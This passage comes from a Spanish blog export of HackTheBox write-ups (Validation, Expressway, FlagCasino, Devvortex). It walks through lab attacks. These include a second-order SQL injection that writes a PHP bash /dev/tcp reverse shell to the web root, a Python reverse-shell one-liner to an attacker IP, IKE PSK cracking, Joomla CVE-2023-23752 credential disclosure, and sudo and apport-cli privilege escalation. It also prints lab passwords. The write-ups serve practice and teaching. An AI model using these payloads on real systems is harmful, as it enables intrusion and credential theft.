uhc tiene privilegios R/W.\nR/W, Foothold inicial # Como tenemos 3 sitios web abiertos en el mismo servidor (puertos 80, 4566, 8080), podemos probar a escribir un Reverse Shell al directorio por defecto de nginx y Apache de Ubuntu, que es para ambos /var/www/html y tratar de acceder desde alguno de los 3.\nTratamos de escribir lo siguiente a /var/www/html/shell.php:\n1 \u0026lt;?php exec(\u0026#34;/bin/bash -c \u0026#39;bash -i \u0026gt;\u0026amp; /dev/tcp/10.10.14.10/4321 0\u0026gt;\u0026amp;1\u0026#39;\u0026#34;); ?\u0026gt; Para que no haya errores de parseo o sintaxis por las comillas, lo codificamos en hexadecimal:\n1 username=paco8\u0026amp;country=X\u0026#39;+UNION+SELECT+0x3C3F706870206578656328222F62696E2F62617368202D63202762617368202D69203E26202F6465762F7463702F31302E31302E31342E31302F3433323120303E26312722293B203F3E+INTO+OUTFILE+\u0026#39;/var/www/html/shell.php\u0026#39;--+- Y probamos a hacer curl a script.php con un handler abierto:\n1 curl http://10.10.11.116:80/shell.php 1 2 3 4 5 6 7 penelope.py -i tun0 -p 4321 [+] Listening for reverse shells on 10.10.14.10:4321 [+] Got reverse shell from validation~10.10.11.116-Linux-x86_64 Assigned SessionID \u0026lt;1\u0026gt; [+] Attempting to upgrade shell to PTY... ─────────────────────────────────────── www-data@validation:/var/www/html$ ls account.php config.php css index.php js shell.php PrivEsc # Ejecutamos linPEAS, que nos muestra algunas cosas relevantes:\nEstamos dentro de un Docker container, tenemos /usr/bin/nsenter para intentar escapar, aunque tras probarlo no funciona. Archivo /var/www/html/config.php con contraseña de uhc en MySQL: 1 2 Searching passwords in config PHP files... /var/www/html/config.php: $password = \u0026#34;uhc-9qual-global-pw\u0026#34;; nginx no está presente en el container, pero sabemos que hay 2 puertos con nginx en escucha, por lo que nginx probablemente esté ejecutándose en el host OS. Puertos en escucha (destaca el 35801): 1 2 3 tcp LISTEN 0 4096 127.0.0.11:35801 0.0.0.0:* tcp LISTEN 0 80 127.0.0.1:3306 0.0.0.0:* tcp LISTEN 0 511 0.0.0.0:80 0.0.0.0:* Pruebo a hacer SSH a root o uhc usando uhc-9qual-global-pw para intentar del container en caso de que se estuviesen reutilizando contraseñas para cuentas fuera del entorno de Docker, pero no funciona.\nMás adelante, pruebo a hacer su root dentro del container con la misma contraseña:\n1 2 3 www-data@validation:/$ su root Password: uhc-9qual-global-pw root@validation:/# Y tenemos root, aunque dentro del container, pero dado que la root flag está dentro del propio container, damos la máquina por concluida.\nPost-Root: Código fuente # Aunque ya hemos completado la máquina, podemos intentar entender qué la hacía vulnerable.\nSi volvemos a /var/www/html, podemos ver el código fuente de account.php:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 ...[SNIP]... \u0026lt;div class=\u0026#34;container\u0026#34;\u0026gt; \u0026lt;h1 class=\u0026#34;text-center m-5\u0026#34;\u0026gt;Join the UHC - September Qualifiers\u0026lt;/h1\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;section class=\u0026#34;bg-dark text-center p-5 mt-4\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;container p-5\u0026#34;\u0026gt; \u0026lt;?php include(\u0026#39;config.php\u0026#39;); $user = $_COOKIE[\u0026#39;user\u0026#39;]; $sql = \u0026#34;SELECT username, country FROM registration WHERE userhash = ?\u0026#34;; $stmt = $conn-\u0026gt;prepare($sql); $stmt-\u0026gt;bind_param(\u0026#34;s\u0026#34;, $user); $stmt-\u0026gt;execute(); $result = $stmt-\u0026gt;get_result(); // get the mysqli result $row = $result-\u0026gt;fetch_assoc(); // fetch data echo \u0026#39;\u0026lt;h1 class=\u0026#34;text-white\u0026#34;\u0026gt;Welcome \u0026#39; . $row[\u0026#39;username\u0026#39;] . \u0026#39;\u0026lt;/h1\u0026gt;\u0026#39;; echo \u0026#39;\u0026lt;h3 class=\u0026#34;text-white\u0026#34;\u0026gt;Other Players In \u0026#39; . $row[\u0026#39;country\u0026#39;] . \u0026#39;\u0026lt;/h3\u0026gt;\u0026#39;; $sql = \u0026#34;SELECT username FROM registration WHERE country = \u0026#39;\u0026#34; . $row[\u0026#39;country\u0026#39;] . \u0026#34;\u0026#39;\u0026#34;; $result = $conn-\u0026gt;query($sql); while ($row = $result-\u0026gt;fetch_assoc()) { echo \u0026#34;\u0026lt;li class=\u0026#39;text-white\u0026#39;\u0026gt;\u0026#34; . $row[\u0026#39;username\u0026#39;] . \u0026#34;\u0026lt;/li\u0026gt;\u0026#34;; } ?\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/section\u0026gt; \u0026lt;/div\u0026gt; En las primeras líneas, el código trata la cookie user estrictamente como datos, por lo que no hay fallo de seguridad ahí:\n1 2 3 4 5 6 include(\u0026#39;config.php\u0026#39;); $user = $_COOKIE[\u0026#39;user\u0026#39;]; $sql = \u0026#34;SELECT username, country FROM registration WHERE userhash = ?\u0026#34;; $stmt = $conn-\u0026gt;prepare($sql); $stmt-\u0026gt;bind_param(\u0026#34;s\u0026#34;, $user); $stmt-\u0026gt;execute(); Aquí el código php manda directamente \u0026quot;SELECT username, country FROM registration WHERE userhash = ?\u0026quot; a MySQL, y MySQL toma ? como un placeholder para una cadena de texto literal.\nCuando el usuario manda su username, PHP manda el username a MySQL, y como MySQL sabe que lo que le faltaba por llegar es una cadena de texto literal, lo toma como un simple string, y no hay lugar para inyección de comandos, aunque ponga UNION, ' o cualquier otra cosa.\nEn las siguientes líneas ya podemos ver la vulnerabilidad. Cuando tiene que sacar todos los usuarios de un país específico, lo hace de forma directa, y da por hecho que, dado que ya tiene country guardado en la DB, no hay vulnerabilidad:\n1 $sql = \u0026#34;SELECT username FROM registration WHERE country = \u0026#39;\u0026#34; . $row[\u0026#39;country\u0026#39;] . \u0026#34;\u0026#39;\u0026#34;; Este query es prácticamente el mismo que habíamos imaginado antes, al construir nuestro payload malicioso para la SQLi\nAquí, si antes habíamos puesto algo que pudiese tomarse como comando en el campo country, ahora se convierte en comando realmente. Esto viene principalmente de la asunción del programador de que, si los datos estaban ya en la base de datos, era seguro usarlos sin filtros más adelante.\n","date":"28 de diciembre de 2025","externalUrl":null,"permalink":"/writeups/validation/","section":"Writeups","summary":"OS: Linux | Dificultad: Easy | Conceptos: Second Order SQLi, MySQL, Reutilización de contraseñas, SQL R/W","title":"HackTheBox - Validation","type":"writeups"},{"content":"","date":"28 de diciembre de 2025","externalUrl":null,"permalink":"/tags/shellshock/","section":"Tags","summary":"","title":"Shellshock","type":"tags"},{"content":"","date":"25 de diciembre de 2025","externalUrl":null,"permalink":"/tags/cisco/","section":"Tags","summary":"","title":"Cisco","type":"tags"},{"content":" Dificultad: easy Tiempo aprox. ~4h (contando con la búsqueda sobre IPSec) Datos Iniciales: 10.10.11.87 Nmap Scan # Tras realizar un escaneo nmap completo, se encuentran los siguientes puertos abiertos:\n1 2 3 4 5 6 7 8 9 10 11 12 13 #TCP PORT STATE SERVICE 22/tcp open ssh OpenSSH 10.0p2 Debian 8 (protocol 2.0) #UDP PORT STATE SERVICE VERSION 69/udp open tftp Netkit tftpd or atftpd 500/udp open isakmp? | ike-version: | attributes: | XAUTH |_ Dead Peer Detection v1.0 4500/udp open|filtered nat-t-ike Puertos abiertos:\n22/TCP (SSH): Común en máquinas HTB, no parece que podamos hacer mucho de momento. 69/UDP (TFTP): Probaremos a buscar archivos por fuerza bruta (TFTP no permite listar archivos ni tiene auth.) 500/UDP (ISAKMP): Al momento de hacer la máquina no sabía qué era, así que partimos de eso. 4500/UDP (NAT-T-IKE): Igual que para isakmp. Análisis Inicial # TFTP # Metasploit tiene un módulo que permite hacer fuerza bruta a archivos en TFTP, así que lo usaremos:\n1 2 3 4 5 6 7 8 9 msf \u0026gt; use auxiliary/scanner/tftp/tftpbrute msf auxiliary(scanner/tftp/tftpbrute) \u0026gt; set RHOSTS 10.10.11.87 msf auxiliary(scanner/tftp/tftpbrute) \u0026gt; run [+] Found ciscortr.cfg on 10.10.11.87 [+] Found firmware.bin on 10.10.11.87 [+] Found s10d01b2_2.bin on 10.10.11.87 [+] Found firewall-nat.cfg on 10.10.11.87 [+] Found router.cfg on 10.10.11.87 [*] Scanned 1 of 1 hosts (100% complete) Hemos encontrado 5 archivos relevantes: ciscortr.cfg, firmware.bin, s10d01b2_2.bin, firewall-nat.cfg, router.cfg, pese a esto, varios de ellos parecen falsos positivos:\n1 2 3 4 5 6 tftp 10.10.11.87 ftp\u0026gt; get firewall-nat.cfg Error code 1: File not found tftp\u0026gt; get router.cfg Error code 1: File not found ... # Y así con firmware.bin y s10d01b2_2.bin Nos quedamos con el único restante que sí existe: ciscortr.cfg.\nContexto de los demás servicios # Antes de mirar ciscortr.cfg sin saber con qué estaba tratando, intento saber ante qué nos encontramos. Tras buscar por un rato, encuentro la respuesta:\nLos puertos 500 y 4500 indican que estamos ante un servidor que actúa como IPSec VPN Gateway. IPSec es un conjunto de protocolos usados para crear túneles cifrados entre dispositivos. Para establecer estos túneles, los dispositivos necesitan acordar varias cosas: Lenguajes y claves, y ahí es donde entran en juego ISAKMP e IKE. Obtención del PSK # Como de momento no vamos a usar NAT para nada, podemos ignorar nat-t-ike, que es un servicio de compatibilidad para NAT.\nDe momento, el objetivo principal que definimos es conseguir las credenciales para la VPN\nVolviendo al archivo de antes (ciscortr.cfg), tras una búsqueda descubrimos que se trata de un archivo backup de la config. de un router cisco (para poder restablecerlo si crashea). En este archivo encontramos:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 -- crypto isakmp client configuration group rtr-remote key secret-password dns 208.67.222.222 -- connect auto group 2 key secret-password mode client -- ...[SNIP]... username ike password ***** El nombre del grupo: rtr-remote Un nombre de usuario para el grupo: ike Dado que necesitamos el PSK y secret-password es simplemente un placeholder para el PSK actual, podemos, aprovechando que el modo agresivo de IKE probablemente esté activado, conseguir el hash del PSK y crackearlo offline:\n1 2 3 4 5 6 ike-scan -M --aggressive -n ike@expressway.htb 10.10.11.87 --pskcrack=hash # Se dumpea el hash del PSK al archivo \u0026#34;hash\u0026#34; psk-crack -d /usr/share/wordlists/rockyou.txt hash Running in dictionary cracking mode key \u0026#34;\u0026lt;Contraseña\u0026gt;\u0026#34; matches SHA1 hash ... Foothold inicial # Ahora que tenemos el PSK, dado que todavía no tenemos la contraseña para el usuario ike para XAuth, probamos la contraseña contra ssh:ike@expressway.htb:\n1 2 3 4 ssh ike@expressway.htb Password for ike: ... ike@expressway:~$ # Conseguimos el user flag. Escalada de privilegios # Tras un vistazo inicial, veo que hay un binario extraño con el SUID bit puesto: /usr/sbin/exim4. Al buscarlo en google, veo que se trata de un servicio encargado de recibir emails y dejarlos en su correspondientes lugar (Normalmente /var/mail/...). Al parecer, el SUID bit era necesario para el funcionamiento de exim, y en esta versión específica (4.98.2) no había ninguna vulnerabilidad específica conocida, además, pese a estar SMTP abierto en localhost, no había mucho que hacer por ahí.\nCambiando el enfoque, al ejecutar linPEAS veo que la versión de sudo es 1.9.17:\n1 2 sudo --version Sudo version 1.9.17 Al parecer, esta y otras versiones son vulnerables a una escalada de privilegios (CVE-2025-32463) gracias al flag -R (chroot), que servía para ejecutar un comando dentro de un entorno chroot.\nNormalmente, con el flag -R, se debería comprobar primero si tenemos permitido hacer sudo, y luego cambiarnos al chroot con los permisos, pero en la versión vulnerable, se hace el chroot antes de comprobar que tenemos los permisos necesarios.\nEsta vulnerabilidad puede comprobarse haciendo, p.ej y según un PoC, lo siguiente:\n1 2 3 # Versión vulnerable sudo -R woot woot sudo: woot: No such file or directory 1 2 3 # Versión no vulnerable (se comprueban privilegios antes de comprobar directorio para chroot) sudo -R woot woot [sudo] password for pwn: Así que usando el PoC mencionado, conseguimos escalar privilegios:\n1 2 3 4 ike@expressway:/tmp$ ./sudo-chwoot.sh woot! root@expressway:/tmp# cd root@expressway:~# cat root.txt Y terminamos.\n","date":"25 de diciembre de 2025","externalUrl":null,"permalink":"/writeups/expressway/","section":"Writeups","summary":"OS: Linux | Dificultad: Easy | Conceptos: IPSec, Cisco, TFTP, Sudo, CVE Público","title":"HackTheBox - Expressway","type":"writeups"},{"content":"","date":"25 de diciembre de 2025","externalUrl":null,"permalink":"/tags/ipsec/","section":"Tags","summary":"","title":"IPSec","type":"tags"},{"content":"","date":"25 de diciembre de 2025","externalUrl":null,"permalink":"/tags/tftp/","section":"Tags","summary":"","title":"TFTP","type":"tags"},{"content":"CHALLENGE DESCRIPTION\nThe team stumbles into a long-abandoned casino. As you enter, the lights and music whir to life, and a staff of robots begin moving around and offering games, while skeletons of prewar patrons are slumped at slot machines. A robotic dealer waves you over and promises great wealth if you can win - can you beat the house and gather funds for the mission?\nArchivos iniciales:\ncasino: ELF 64-bit. Análisis inicial # Tras ejecutar el programa una vez, vemos lo siguiente:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ./casino [ ** WELCOME TO ROBO CASINO **] , , (\\____/) (_oo_) (O) __||__ \\) []/______\\[] / / \\______/ \\/ / /__\\ (\\ /____\\ --------------------- [*** PLEASE PLACE YOUR BETS ***] \u0026gt; 3 [ * INCORRECT * ] [ *** ACTIVATING SECURITY SYSTEM - PLEASE VACATE *** ] Al parecer hay que introducir algo, pero no sabemos qué es. Miramos qué hace con ltrace y strace:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 ltrace ./casino puts(\u0026#34;[ ** WELCOME TO ROBO CASINO **]\u0026#34;[ ** WELCOME TO ROBO CASINO **] ) = 32 puts(\u0026#34; , ,\\n (\\\\____/)\\n (\u0026#34;... , , (\\____/) (_oo_) (O) __||__ \\) []/______\\[] / / \\______/ \\/ / /__\\ (\\ /____\\ --------------------- ) = 145 puts(\u0026#34;[*** PLEASE PLACE YOUR BETS ***]\u0026#34;...[*** PLEASE PLACE YOUR BETS ***] ) = 33 printf(\u0026#34;\u0026gt; \u0026#34;) = 2 __isoc99_scanf(0x562b23e850fc, 0x7fffab2db95b, 0, 0\u0026gt; ABCD ) = 1 srand(65) = \u0026lt;void\u0026gt; rand() = 598268513 puts(\u0026#34;[ * INCORRECT * ]\u0026#34;[ * INCORRECT * ] ) = 18 puts(\u0026#34;[ *** ACTIVATING SECURITY SYSTEM\u0026#34;...[ *** ACTIVATING SECURITY SYSTEM - PLEASE VACATE *** ] ) = 55 exit(-2 \u0026lt;no return ...\u0026gt; +++ exited (status 254) +++ Aquí podemos ver que, al introducir algo (en este caso ABCD) se llama a srand() y se inicializa un seed, pero todavía no sabemos con qué, probamos con más inputs:\nCon \u0026ldquo;5\u0026rdquo;: 1 2 3 4 printf(\u0026#34;\u0026gt; \u0026#34;) = 2 __isoc99_scanf(0x560271e7e0fc, 0x7fff0b264fab, 0, 0\u0026gt; 5 ) = 1 srand(53) Con \u0026ldquo;ab\u0026rdquo;: 1 2 3 4 printf(\u0026#34;\u0026gt; \u0026#34;) = 2 __isoc99_scanf(0x555d225590fc, 0x7ffe335b56eb, 0, 0\u0026gt; a ) = 1 srand(97) Esto ya nos da una idea de lo que se hace. Vemos que se está tomando el primer carácter introducido y se está usando su número en ASCII para inicializar el seed:\nA en ASCII: 65 5 en ASCII: 53 a en ASCII: 97 Decompilando el binario # Todavía no sabemos qué hace el programa, más allá de lo visto, así que lo descompilamos con Ghidra, quedando algo así:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 undefined8 main(void){ int iVar1; char local_d; uint local_c; puts(\u0026#34;[ ** WELCOME TO ROBO CASINO **]\u0026#34;); puts( \u0026#34; , ,\\n (\\\\____/)\\n (_oo_)\\n (O)\\n __||__ \\\\)\\n []/______\\\\[] /\\n / \\\\______/ \\\\/\\n / /__\\\\\\n(\\\\ /____\\\\\\n---------------------\u0026#34; ); puts(\u0026#34;[*** PLEASE PLACE YOUR BETS ***]\u0026#34;); local_c = 0; while( true ) { if (0x1d \u0026lt; local_c) { puts(\u0026#34;[ ** HOUSE BALANCE $0 - PLEASE COME BACK LATER ** ]\u0026#34;); return 0; } printf(\u0026#34;\u0026gt; \u0026#34;); iVar1 = __isoc99_scanf(\u0026amp;DAT_001020fc,\u0026amp;local_d); if (iVar1 != 1) break; srand((int)local_d); iVar1 = rand(); if (iVar1 != *(int *)(check + (long)(int)local_c * 4)) { puts(\u0026#34;[ * INCORRECT * ]\u0026#34;); puts(\u0026#34;[ *** ACTIVATING SECURITY SYSTEM - PLEASE VACATE *** ]\u0026#34;); /* WARNING: Subroutine does not return */ exit(-2); } puts(\u0026#34;[ * CORRECT *]\u0026#34;); local_c = local_c + 1; } /* WARNING: Subroutine does not return */ exit(-1); } De aquí vamos viendo que pasan varias cosas cuando inicia el programa:\nlocal_c se inicializa a 0 Mientras local_c sea menor o igual que 0x1d (29 decimal), el programa sigue. 1 2 3 4 if (0x1d \u0026lt; local_c) { puts(\u0026#34;[ ** HOUSE BALANCE $0 - PLEASE COME BACK LATER ** ]\u0026#34;); return 0; } Se pide el char al usuario, si no se lee correctamente, se sale del programa. Si se lee correctamente, quedará guardado en local_d 1 2 3 4 iVar1 = __isoc99_scanf(\u0026amp;DAT_001020fc,\u0026amp;local_d); if (iVar1 != 1) break; //Scanf devuelve el número de elementos procesados correctamente, aquí debería ser 1, //por eso se compara el return de scanf (asignado a iVar1) con 1. Se inicializa el seed con nuestro char (Guardado en local_d), luego se asigna iVar1 a un número aleatorio (el primero que se genera con local_d como seed). 1 2 3 if (iVar1 != 1) break; srand((int)local_d); iVar1 = rand(); Se compara el número aleatorio (iVar1) con un número entero guardado en (check + (long)(int)local_c * 4). Aunque a simple vista parece extraño, esto no es más que un array: Dirección base = check Offset = local_c (se multiplica por 4 porque un int tiene 4 bytes) En definitiva, sería algo como: 1 2 3 4 5 6 if (iVar1 != check[local_c]) { puts(\u0026#34;[ * INCORRECT * ]\u0026#34;); puts(\u0026#34;[ *** ACTIVATING SECURITY SYSTEM - PLEASE VACATE *** ]\u0026#34;); /* WARNING: Subroutine does not return */ exit(-2); } Y finalmente, si iVar1 coincide con check[local_c], se suma 1 a local_c, se pide otro carácter, se inicializa de nuevo el seed y se compara con el siguiente valor del array check[]:\n1 2 3 4 // Si los números iVar1 y check[local_c] coinciden: puts(\u0026#34;[ * CORRECT *]\u0026#34;); local_c = local_c + 1; // y aquí se vuelve al inicio del while() De forma gráfica, quedaría algo así: Código final decompilado # Cambiando el nombre de las variables, reorganizando todo e ignorando algunas cosas no relevantes para entender mejor el código, quedaría algo así:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; int array[30] = {...} //valores desconocidos //Fuera de main() porque no están en el stack. int main (void){ int valorAleatorio; char caracter; puts(\u0026#34;[ ** WELCOME TO ROBO CASINO **]\u0026#34;); puts(\u0026#34;[*** PLEASE PLACE YOUR BETS ***]\u0026#34;); for (int i = 0; i \u0026lt; 30; i++){ printf(\u0026#34;\u0026gt; \u0026#34;); //Leer char valorAleatorio = scanf(\u0026#34; %c\u0026#34;,\u0026amp;caracter); if (valorAleatorio != 1) return (-1); //Inicializar seed y generar valor aleatorio. srand((int)caracter); valorAleatorio = rand(); //Comparar valor aleatorio generado con el guardado en el array if (valorAleatorio == array[i]) { puts(\u0026#34;[ * CORRECT *]\u0026#34;); } else{ puts(\u0026#34;[ * INCORRECT * ]\u0026#34;); return (-2); } } puts(\u0026#34;[ ** HOUSE BALANCE $0 - PLEASE COME BACK LATER ** ]\u0026#34;); return 0; } Fuerza Bruta # Sabiendo lo que hace el código, vemos que necesitamos encontrar 30 caracteres seguidos (que estén en la codificación ASCII) tales que el primer valor aleatorio producido al inicializar el seed con cada uno de ellos corresponda con los números guardados en el array. Como el array contiene datos estáticos, podemos verlos en memoria:\nEl único inconveniente de estos datos es que están en Little Endian, estándar en Intel x86_64, por lo que habrá que reordenar los bytes, que quedarán 0x244b28be, 0xaf77805, 0x110dfc17, 0x7afc3a1\u0026hellip; Ahora buscamos un set de caracteres tal que el primero de ellos, usado como seed, genere un valor aleatorio 0x244b28be, el segundo 0xaf77805, y así hasta los 30 valores.\nHacemos un programa en C++ que haga esto:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 #include \u0026lt;random\u0026gt; #include \u0026lt;iostream\u0026gt; #include \u0026lt;vector\u0026gt; using namespace std; int targets[] = { 0x244b28be, 0xaf77805, 0x110dfc17, ...SNIP..., 0x57d8ed64, 0x615ab299, 0x22e9bc2a }; int main(){ vector\u0026lt;char\u0026gt; resultados = {}; int i = 0; while (i \u0026lt;= 29){ char carac = 0; srand(carac); while (rand() != targets[i]){ //Asume que al menos un caracter ASCII produce targets[i] carac++; srand(carac); } resultados.push_back(carac); i++; } for (int g = 0, size = resultados.size(); g \u0026lt; size; g++){ cout \u0026lt;\u0026lt; resultados[g]; } cout \u0026lt;\u0026lt; endl; return 0; } Al ejecutarlo:\n1 2 3 g++ bruteforce.cpp -o bruteforce ./bruteforce HTB{r4nd_1s_...} ","date":"19 de diciembre de 2025","externalUrl":null,"permalink":"/writeups/flagcasino/","section":"Writeups","summary":"Dificultad: Easy | Conceptos: Ghidra, Reversing, PRNG","title":"HackTheBox - FlagCasino","type":"writeups"},{"content":"","date":"19 de diciembre de 2025","externalUrl":null,"permalink":"/tags/random/","section":"Tags","summary":"","title":"Random","type":"tags"},{"content":" Dificultad: easy Tiempo aprox. ~4h Datos Iniciales: 10.10.11.242 Análisis Inicial # Iniciamos con un scan nmap:\n1 2 3 4 5 6 7 8 9 10 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA) | 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA) |_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-title: Did not follow redirect to http://devvortex.htb/ |_http-server-header: nginx/1.18.0 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Añadimos devvortex.htb a /etc/hosts. Puerto 80 # Encontramos una página web con varias pestañas disponibles, tras analizarlas, no encuentro nada relevante en ninguna. No parece haber lugares que tomen input de usuario ni parámetros en las solicitudes, por lo que decido centrarme en otro punto.\nHacemos un análisis de VHosts:\n1 2 3 4 5 $ gobuster vhost --url devvortex.htb -w /usr/share/wordlists/n0kovo_subdomains_medium.txt --append-domain =============================================================== Starting gobuster in VHOST enumeration mode =============================================================== dev.devvortex.htb Status: 200 [Size: 23221] Subdominio dev.devvortex.htb # Al entrar en el subdominio, encuentro otra sola página sin más.\nTras hacer fuerza bruta con feroxbuster filtrando aquello a lo que no pudiese acceder:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 feroxbuster -u http://dev.devvortex.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -o dev.devvortex_dir_bruteforce --filter-status=403,502,404 -r ___ ___ __ __ __ __ __ ___ |__ |__ |__) |__) | / ` / \\ \\_/ | | \\ |__ | |___ | \\ | \\ | \\__, \\__/ / \\ | |__/ |___ by Ben \u0026#34;epi\u0026#34; Risher 🤓 ver: 2.13.0 502 GET 7l 12w 166c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter 200 GET 1l 2w 31c http://dev.devvortex.htb/components/ 200 GET 1l 2w 31c http://dev.devvortex.htb/libraries/ 200 GET 1l 2w 31c http://dev.devvortex.htb/modules/ 200 GET 1l 2w 31c http://dev.devvortex.htb/tmp/ 200 GET 1l 2w 31c http://dev.devvortex.htb/cli/ 200 GET 1l 2w 31c http://dev.devvortex.htb/plugins/ 200 GET 1l 2w 31c http://dev.devvortex.htb/language/ 200 GET 1l 2w 31c http://dev.devvortex.htb/includes/ 200 GET 1l 2w 31c http://dev.devvortex.htb/cache/ 200 GET 1l 2w 31c http://dev.devvortex.htb/layouts/ 200 GET 1l 2w 31c http://dev.devvortex.htb/images/ 200 GET 1l 2w 31c http://dev.devvortex.htb/templates/ 200 GET 1l 2w 31c http://dev.devvortex.htb/media/ 200 GET 1l 2w 31c http://dev.devvortex.htb/media/cache/ 200 GET 1l 2w 31c http://dev.devvortex.htb/administrator/logs/ [####################] - 14m 12350535/12350535 0s found:15 errors:11862898 Mirando en cada una de ellas no parece haber nada relevante en ninguna. Desde robots.txt veo algo muy similar:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 User-agent: * Disallow: /administrator/ Disallow: /api/ Disallow: /bin/ Disallow: /cache/ Disallow: /cli/ Disallow: /components/ Disallow: /includes/ Disallow: /installation/ Disallow: /language/ Disallow: /layouts/ Disallow: /libraries/ Disallow: /logs/ Disallow: /modules/ Disallow: /plugins/ Disallow: /tmp/ En /administrator encuentro un panel de login de administrador, en el que se ve que el CMS en uso es Joomla: En ninguno de los dos casos anteriores encuentro recursos relevantes ni siquiera para poder enumerar la versión del CMS. Tras una búsqueda en internet, encuentro que es posible que la versión se encuentre en /administrator/manifests/files/joomla.xml.\nY al comprobarlo: De aquí podemos ver varias cosas interesantes:\nLa versión: 4.2.6, que tiene una vulnerabilidad de Unauthenticated information disclosure (CVE-2023-23752) La URL de 2 bases de datos en el servidor (relacionadas con el CVE anterior) Y usando un exploit que automatiza el acceso a las bases de datos:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 ruby exploit.rb http://dev.devvortex.htb Users [649] lewis (lewis) - lewis@devvortex.htb - Super Users [650] logan paul (logan) - logan@devvortex.htb - Registered Site info Site name: Development Editor: tinymce Captcha: 0 Access: 1 Debug status: false Database info DB type: mysqli DB host: localhost DB user: lewis DB password: P4ntherg0t1n5r3c0n## DB name: joomla DB prefix: sd4fg_ DB encryption 0 Con las credenciales lewis:P4ntherg0t1n5r3c0n## iniciamos sesión en el panel de administrador.\nReverse shell # Ya en el panel de administrador, intuyo que será necesario instalar un módulo o extensión que nos proporcione un reverse shell, por suerte ya había un webshell interactivo disponible.\n1 2 3 ./console.py -t http://dev.devvortex.htb [webshell]\u0026gt; whoami www-data Para poder tener mejor acceso, ejecuto un reverse shell en python3:\n1 [webshell]\u0026gt; export RHOST=\u0026#34;10.10.14.20\u0026#34;;export RPORT=4321;python3 -c \u0026#39;import socket,os,pty;s=socket.socket();s.connect((os.getenv(\u0026#34;RHOST\u0026#34;),int(os.getenv(\u0026#34;RPORT\u0026#34;))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\u0026#34;/bin/sh\u0026#34;)\u0026#39; Y mientras en ncat:\n1 2 3 4 ncat -lvn 10.10.14.20 4321 Ncat: Listening on 10.10.14.20:4321 Ncat: Connection from 10.10.11.242:39742. $ Una vez dentro, intento conseguir el flag de usuario (podría haberlo hecho directamente desde el webshell):\n1 2 3 4 5 6 $ ls -al user.txt ls -al user.txt -rw-r----- 1 root logan 33 Nov 8 20:42 user.txt $ cat user.txt cat user.txt cat: user.txt: Permission denied Desgraciadamente, no podemos acceder a él, necesitaremos ser el usuario logan, por suerte todavía podemos conectarnos a MySQL:\n1 2 3 4 mysql -u lewis -pP4ntherg0t1n5r3c0n## mysql: [Warning] Using a password on the command line interface can be insecure. Welcome to the MySQL monitor. Commands end with ; or \\g. mysql\u0026gt; Y desde ahí buscar las credenciales del usuario logan, que están en la tabla sd4fg_users:\n1 2 3 4 5 6 7 8 9 mysql\u0026gt; select id, username, password from sd4fg_users; select id, username, password from sd4fg_users; +-----+----------+--------------------------------------------------------------+ | id | username | password | +-----+----------+--------------------------------------------------------------+ | 649 | lewis | $2y$10$6V52x.SD8Xc7hNlVwUTrI.ax4BIAYuhVBMVvnYWRceBmy8XdEzm1u | | 650 | logan | $2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12 | +-----+----------+--------------------------------------------------------------+ 2 rows in set (0.00 sec) Y crackeamos la contraseña:\n1 2 3 4 5 john hash --wordlist=/usr/share/wordlists/rockyou.txt 2 ↵ Using default input encoding: UTF-8 Loaded 1 password hash (bcrypt [Blowfish 32/64 X3]) tequieromucho (?) Session completed. Acceso como logan # Al probar a hacer ssh:\n1 2 3 ssh logan@devvortex.htb logan@devvortex.htb\u0026#39;s password: tequieromucho logan@devvortex:~$ Por suerte y por desgracia, la contraseña era tan fácil (La nº1403 en rockyou.txt) que podríamos haberla sacado con hydra desde el principio si hubiésemos esperado, aunque no sería lo común empezar con fuerza bruta.\nDesde el shell de logan ejecutamos sudo -l:\n1 2 3 4 5 6 logan@devvortex:~$ sudo -l User logan may run the following commands on devvortex: (ALL : ALL) /usr/bin/apport-cli logan@devvortex:~$ sudo apport-cli -v 2.20.11 apport-cli es una aplicación de troubleshooting de sistemas Linux. Esta versión específica tiene una vulnerabilidad (CVE-2023-1326) que hace que, al producir un reporte de un bug y mostrarlo en pantalla, se haga uso del paginador (generalmente less).\nEsto en sí no es peligroso, pero si se ejecuta apport-cli como root, todos sus subprocesos se ejecutarán como root, entre ellos less, y, por tanto, si durante la ejecución de less el usuario escribe !\u0026lt;comando\u0026gt; (una funcionalidad incluida por defecto en less), ese \u0026lt;comando\u0026gt; se ejecutará como root.\nDicho esto, generamos un reporte:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 logan@devvortex:~$ sudo 